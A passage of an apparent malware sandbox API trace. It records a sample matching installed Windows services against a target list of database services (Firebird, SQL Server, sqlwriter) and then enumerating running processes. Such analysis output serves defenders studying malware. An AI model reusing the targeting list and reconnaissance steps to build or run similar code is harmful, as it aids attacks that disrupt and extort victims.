lpString2="LSM") returned 1 [0092.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0092.971] lstrlenW (lpString="MapsBroker") returned 10 [0092.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0092.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0092.971] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0092.971] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0092.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0092.971] lstrlenW (lpString="MpsSvc") returned 6 [0092.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0092.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0092.971] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0092.971] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0092.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0092.971] lstrlenW (lpString="NcbService") returned 10 [0092.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0092.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0092.971] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0092.971] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0092.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0092.971] lstrlenW (lpString="netprofm") returned 8 [0092.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0092.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0092.971] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0092.971] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0092.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0092.972] lstrlenW (lpString="NlaSvc") returned 6 [0092.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0092.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0092.972] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0092.972] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0092.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0092.972] lstrlenW (lpString="nsi") returned 3 [0092.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0092.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0092.972] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0092.972] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0092.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0092.972] lstrlenW (lpString="PcaSvc") returned 6 [0092.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0092.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0092.972] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0092.972] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0092.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0092.972] lstrlenW (lpString="PlugPlay") returned 8 [0092.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0092.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0092.972] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0092.972] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0092.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0092.972] lstrlenW (lpString="Power") returned 5 [0092.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0092.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0092.972] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0092.972] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0092.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0092.972] lstrlenW (lpString="ProfSvc") returned 7 [0092.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0092.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0092.972] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0092.973] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0092.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0092.973] lstrlenW (lpString="RpcEptMapper") returned 12 [0092.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0092.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0092.973] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0092.973] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0092.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0092.973] lstrlenW (lpString="RpcSs") returned 5 [0092.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0092.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0092.973] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0092.973] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0092.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0092.973] lstrlenW (lpString="SamSs") returned 5 [0092.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0092.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0092.973] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0092.973] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0092.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0092.973] lstrlenW (lpString="Schedule") returned 8 [0092.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0092.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0092.973] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0092.973] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0092.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0092.973] lstrlenW (lpString="SecurityHealthService") returned 21 [0092.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0092.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0092.973] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0092.973] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0092.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0092.973] lstrlenW (lpString="SENS") returned 4 [0092.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0092.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0092.974] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0092.974] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0092.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0092.974] lstrlenW (lpString="ShellHWDetection") returned 16 [0092.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0092.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0092.974] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0092.974] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0092.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0092.974] lstrlenW (lpString="Spooler") returned 7 [0092.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0092.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0092.974] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0092.974] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0092.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0092.974] lstrlenW (lpString="SSDPSRV") returned 7 [0092.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0092.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0092.974] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0092.974] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0092.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0092.974] lstrlenW (lpString="StateRepository") returned 15 [0092.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0092.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0092.974] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0092.974] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0092.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0092.974] lstrlenW (lpString="SysMain") returned 7 [0092.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0092.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0092.974] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0092.975] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0092.975] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x510d50 | out: hHeap=0x4b0000) returned 1 [0092.975] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2b8 [0093.046] Process32FirstW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0093.047] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0093.048] lstrlenW (lpString="System") returned 6 [0093.048] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0093.048] lstrlenW (lpString="smss.exe") returned 8 [0093.048] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0093.049] lstrlenW (lpString="csrss.exe") returned 9 [0093.049] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0093.049] lstrlenW (lpString="wininit.exe") returned 11 [0093.049] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0093.050] lstrlenW (lpString="csrss.exe") returned 9 [0093.050] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0093.050] lstrlenW (lpString="winlogon.exe") returned 12 [0093.050] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0093.051] lstrlenW (lpString="services.exe") returned 12 [0093.051] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0093.052] lstrlenW (lpString="lsass.exe") returned 9 [0093.052] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.053] lstrlenW (lpString="svchost.exe") returned 11 [0093.053] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0093.053] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0093.053] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0093.054] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0093.054] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.055] lstrlenW (lpString="svchost.exe") returned 11 [0093.055] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0093.055] lstrlenW (lpString="dwm.exe") returned 7 [0093.055] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x59, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.056] lstrlenW (lpString="svchost.exe") returned 11 [0093.056] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.056] lstrlenW (lpString="svchost.exe") returned 11 [0093.056] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.057] lstrlenW (lpString="svchost.exe") returned 11 [0093.057] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.058] lstrlenW (lpString="svchost.exe") returned 11 [0093.058] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.058] lstrlenW (lpString="svchost.exe") returned 11 [0093.058] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.059] lstrlenW (lpString="svchost.exe") returned 11 [0093.059] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.059] lstrlenW (lpString="svchost.exe") returned 11 [0093.059] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.060] lstrlenW (lpString="svchost.exe") returned 11 [0093.060] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.060] lstrlenW (lpString="svchost.exe") returned 11 [0093.061] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.061] lstrlenW (lpString="svchost.exe") returned 11 [0093.061] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0093.062] lstrlenW (lpString="spoolsv.exe") returned 11 [0093.062] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.065] lstrlenW (lpString="svchost.exe") returned 11 [0093.065] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0093.066] lstrlenW (lpString="audiodg.exe") returned 11 [0093.066] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0093.067] lstrlenW (lpString="sihost.exe") returned 10 [0093.067] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.068] lstrlenW (lpString="svchost.exe") returned 11 [0093.068] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0093.069] lstrlenW (lpString="taskhostw.exe") returned 13 [0093.069] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0093.070] lstrlenW (lpString="explorer.exe") returned 12 [0093.070] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0093.071] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0093.071] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0093.071] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0093.071] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0093.072] lstrlenW (lpString="Memory Compression") returned 18 [0093.072] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0093.073] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0093.073] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0093.073] lstrlenW (lpString="SearchUI.exe") returned 12 [0093.073] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0093.074] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0093.074] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0093.074] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0093.074] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending.exe")) returned 1 [0093.075] lstrlenW (lpString="pending.exe") returned 11 [0093.075] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bug workers.exe")) returned 1 [0093.075] lstrlenW (lpString="bug workers.exe") returned 15 [0093.075] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="succeed.exe")) returned 1 [0093.076] lstrlenW (lpString="succeed.exe") returned 11 [0093.076] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="springs antonio washer.exe")) returned 1 [0093.249] lstrlenW (lpString="springs antonio washer.exe") returned 26 [0093.249] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bookings.exe")) returned 1 [0093.249] lstrlenW (lpString="bookings.exe") returned 12 [0093.249] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="tramadol for.exe")) returned 1 [0093.250] lstrlenW (lpString="tramadol for.exe") returned 16 [0093.250] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: 